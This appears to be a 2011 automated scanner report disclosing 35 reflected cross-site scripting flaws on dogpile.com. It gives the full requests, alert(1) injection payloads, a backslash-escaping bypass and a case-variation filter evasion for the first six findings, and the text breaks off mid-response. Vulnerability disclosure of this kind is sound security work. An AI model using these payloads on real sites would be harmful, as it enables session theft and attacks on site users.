CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Fri Apr 01 12:28:00 CDT 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://www.dogpile.com/dogpile/ws/redir/_iceUrlFlag=11 [qcat parameter]

1.2. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [icePage%24SearchBoxTop%24qcat parameter]

1.3. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [icePage%24SearchBoxTop%24qcat parameter]

1.4. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [qcat parameter]

1.5. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]

1.6. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]

1.7. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]

1.8. http://www.dogpile.com/dogpile/ws/about/_iceUrlFlag=11 [DomainSession cookie]

1.9. http://www.dogpile.com/dogpile/ws/contactUs/_iceUrlFlag=11 [DomainSession cookie]

1.10. http://www.dogpile.com/dogpile/ws/contactUs/rfcid=1293/rfcp=left/_iceUrlFlag=11 [DomainSession cookie]

1.11. http://www.dogpile.com/dogpile/ws/faq/rfcid=416/rfcp=left/_iceUrlFlag=11 [DomainSession cookie]

1.12. http://www.dogpile.com/dogpile/ws/results/Web/april%20fools%20day%20pranks/1/42/Seasonal/Relevance/ [DomainSession cookie]

1.13. http://www.dogpile.com/dogpile_other/ws/bookmark/rfcid=1211/_iceUrlFlag=11 [DomainSession cookie]

1.14. http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11 [DomainSession cookie]

1.15. http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11 [DomainSession cookie]

1.16. http://www.dogpile.com/dogpile_other/ws/index [DomainSession cookie]

1.17. http://www.dogpile.com/dogpile_other/ws/index [DomainSession cookie]

1.18. http://www.dogpile.com/dogpile_other/ws/index/qcat=wp/_iceUrlFlag=11 [DomainSession cookie]

1.19. http://www.dogpile.com/dogpile_other/ws/index/qcat=yp/_iceUrlFlag=11 [DomainSession cookie]

1.20. http://www.dogpile.com/dogpile_other/ws/preferences/rfcid=415/rfcp=TopNavigation/_iceUrlFlag=11 [DomainSession cookie]

1.21. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [DomainSession cookie]

1.22. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Dark%20Sites/qlnk=1/rfcp=RightNav/rfcid=302360/_iceUrlFlag=11 [DomainSession cookie]

1.23. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Review%20Sites/qlnk=1/rfcp=RightNav/rfcid=302357/_iceUrlFlag=11 [DomainSession cookie]

1.24. http://www.dogpile.com/dogpile_other/ws/redir/qcat=Web/qcoll=relevance/qkw=Submit%20Site/qlnk=1/rfcp=RightNav/rfcid=302362/_iceUrlFlag=11 [DomainSession cookie]

1.25. http://www.dogpile.com/dogpile_other/ws/results/Web/Submit%20Site/1/302362/RightNav/Relevance/iq=true/zoom=off/qlnk=1/_iceUrlFlag=7 [DomainSession cookie]

1.26. http://www.dogpile.com/dogpile_rss/web/GE+Zero+Taxes [DomainSession cookie]

1.27. http://www.dogpile.com/dogpile_rss/web/Go+Daddy+CEO+Elephant [DomainSession cookie]

1.28. http://www.dogpile.com/dogpile_rss/ws/about/_iceUrlFlag=11 [DomainSession cookie]

1.29. http://www.dogpile.com/dogpile_rss/ws/faq/_iceUrlFlag=11 [DomainSession cookie]

1.30. http://www.dogpile.com/dogpile_rss/ws/index/ [DomainSession cookie]

1.31. http://www.dogpile.com/favicon.ico [DomainSession cookie]

1.32. http://www.dogpile.com/info.dogpl.rss/Web6c5ea//' [DomainSession cookie]

1.33. http://www.dogpile.com/info.dogpl.rss/web/GE+Zero+Taxes [DomainSession cookie]

1.34. http://www.dogpile.com/info.dogpl.rss/web/Go+Daddy+CEO+Elephant [DomainSession cookie]

1.35. http://www.dogpile.com/info.dogpl.rss/web/MLB+Schedule [DomainSession cookie]



1. Cross-site scripting (reflected)
There are 35 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.dogpile.com/dogpile/ws/redir/_iceUrlFlag=11 [qcat parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/redir/_iceUrlFlag=11

Issue detail

The value of the qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8d20\'%3balert(1)//ff63f7f2300 was submitted in the qcat parameter. This input was echoed as c8d20\\';alert(1)//ff63f7f2300 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /dogpile/ws/redir/_iceUrlFlag=11?_IceUrl=true&qcat=webc8d20\'%3balert(1)//ff63f7f2300&qkw= HTTP/1.1
Host: www.dogpile.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=7d43bcdc3ae442d4896bc16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:17:43 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:57:43 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:57:43 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:57:43 GMT
Connection: close
Content-Length: 45625
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Webc8d20\\';Alert(1)//Ff63f7f2300/';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=7d43bcdc3ae442d4896bc16a3af0cb01&10=1&11=info.dogpl&14=1220
...[SNIP]...

1.2. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [icePage%24SearchBoxTop%24qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/_iceUrlFlag=11

Issue detail

The value of the icePage%24SearchBoxTop%24qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d72e6\'%3b75d0d1bef7c was submitted in the icePage%24SearchBoxTop%24qcat parameter. This input was echoed as d72e6\\';75d0d1bef7c in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

POST /dogpile_other/ws/redir/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11?_IceUrl=true
Content-Length: 2186
Cache-Control: max-age=0
Origin: http://www.dogpile.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:12 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=fabc047e90564b3caea8c16a3af0cb01&CookieDomain=.dogpile.com

__VIEWSTATE=%2FwEPDwULLTEwNzYxNjAxNjBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYGBR5pY2VQYWdlJFNlYXJjaEJveFRvcCRxa3dzdWJtaXQFLmljZVBhZ2UkU2VhcmNoQm94VG9wJEFkdmFuY2VkU2VhcmNoV2ViJGluY2x1ZGUFLmljZV
...[SNIP]...
iifX%2BBAKw%2FZDRAQIteqHnA3ZhIp9VQNtHLGXL2pUo&icePage%24SearchBoxTop%24qkw=site%3Axss.cx&icePage%24SearchBoxTop%24qkwsubmit.x=0&icePage%24SearchBoxTop%24qkwsubmit.y=0&icePage%24SearchBoxTop%24qcat=Webd72e6\'%3b75d0d1bef7c&icePage%24SearchBoxTop%24rfcid=417&icePage%24SearchBoxTop%24rfcp=&icePage%24SearchBoxTop%24qlnk=0&icePage%24SearchBoxTop%24AdvancedSearchWeb%24advnames=qall%2Cqphrase%2Cqany%2Cqnot%2Clang%2Cqafter%2C
...[SNIP]...

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=a63d211eee26414d9dd7c16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:17:58 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:57:58 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:57:58 GMT; path=/
Set-Cookie: wsTemp=bigIP+3775436042.20480.0000+cacheId+ms19:1301677091189; path=/
Set-Cookie: wsRecent=site%3axss.cx,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:57:58 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 64952

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Webd72e6\\';75d0d1bef7c/site%3axss.cx';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=a63d211eee26414d9dd7c16a3af0cb01&10=1&11=info.
...[SNIP]...

1.3. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [icePage%24SearchBoxTop%24qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/_iceUrlFlag=11

Issue detail

The value of the icePage%24SearchBoxTop%24qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96402\'%3balert(1)//a2498f1a00b was submitted in the icePage%24SearchBoxTop%24qcat parameter. This input was echoed as 96402\\';alert(1)//a2498f1a00b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

POST /dogpile_other/ws/redir/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index
Content-Length: 1960
Cache-Control: max-age=0
Origin: http://www.dogpile.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:18 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=cbef8ee057aa45668e6fc16a3af0cb01&ActionId=8604994ef54a4503a8ebc16a3af0cb01&CookieDomain=.dogpile.com

__LASTFOCUS=&__VIEWSTATE=%2FwEPDwULLTEwNzYxNjAxNjBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYFBR5pY2VQYWdlJFNlYXJjaEJveFRvcCRxa3dzdWJtaXQFLmljZVBhZ2UkU2VhcmNoQm94VG9wJEFkdmFuY2VkU2VhcmNoV2ViJGluY
...[SNIP]...
uw8Cmd%2BzyQ0CuYHVhgQCkKvm%2FwUCxNGrzg8CsqH2uAMChuqLpwMCsKGquAMCsaGC3QoCmfTV2gYCs6SaowUCnI%2BIqgQCt56zoQ8C252OhQUCgKHemAoCmu%2FnvgICkPP5CFy2AeMkGJYIpnubvjN9%2BlFgNo94&icePage%24SearchBoxTop%24qcat=Web96402\'%3balert(1)//a2498f1a00b&icePage%24SearchBoxTop%24rfcid=417&icePage%24SearchBoxTop%24rfcp=&icePage%24SearchBoxTop%24qlnk=0&icePage%24SearchBoxTop%24AdvancedSearchWeb%24advnames=qall%2Cqphrase%2Cqany%2Cqnot%2Clang%2Cqafter%2C
...[SNIP]...

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=5d61898cfb714cd0bcc4c16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=8ae6cde94044449ca746c16a3af0cb01&ActionId=3bbca414522d42f7bc54c16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:35:20 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:15:20 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:15:20 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:15:19 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45961

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Web96402\\';alert(1)//a2498f1a00b/';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=3bbca414522d42f7bc54c16a3af0cb01&10=1&11=info.dogpl.other&1
...[SNIP]...

1.4. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/_iceUrlFlag=11

Issue detail

The value of the qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc191</ScRiPt%20>b4d651e87b1 was submitted in the qcat parameter. This input was echoed as dc191</ScRiPt >b4d651e87b1 in the application's response.

This behaviour demonstrates that it is possible to can close the open <SCRIPT> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /dogpile_other/ws/redir/_iceUrlFlag=11?_IceUrl=true&qcat=dc191</ScRiPt%20>b4d651e87b1 HTTP/1.1
Host: www.dogpile.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=88a9cb4e452045dfbbd8c16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:18:37 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:58:37 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:58:37 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:58:37 GMT
Connection: close
Content-Length: 45962
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
pon, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Dc191</Script >B4d651e87b1/';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=88a9cb4e452045dfbbd8c16a3af0cb01&10=1&11=info.dogpl.other&1
...[SNIP]...

1.5. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/redir/_iceUrlFlag=11

Issue detail

The value of the qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bdc14</script><script>alert(1)</script>bc3b9419cd was submitted in the qcat parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/ws/redir/_iceUrlFlag=11?_IceUrl=true&qcat=bdc14</script><script>alert(1)</script>bc3b9419cd HTTP/1.1
Host: www.dogpile.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=c64a3d65c7ff4b7dbcdfc16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:19:09 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:59:09 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:59:09 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:59:08 GMT
Connection: close
Content-Length: 45875
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
pon, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Bdc14</Script><Script>Alert(1)</Script>Bc3b9419cd/';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=c64a3d65c7ff4b7dbcdfc16a3af0cb01&10=1&11=info.dogpl.rss&14=
...[SNIP]...

1.6. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/redir/_iceUrlFlag=11

Issue detail

The value of the qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d46d\'%3b6b7e482d682 was submitted in the qcat parameter. This input was echoed as 1d46d\\';6b7e482d682 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /dogpile_rss/ws/redir/_iceUrlFlag=11?qcat=1d46d\'%3b6b7e482d682&qkw=Go%20Daddy%20CEO%20Elephant&qcoll=relevance&zoom=off&bepersistence=true&newtxn=false&qi=21&qk=20&page=2&_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=a7dbe50ac6c642a88691c16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:19:25 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:59:25 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:59:25 GMT; path=/
Set-Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; path=/
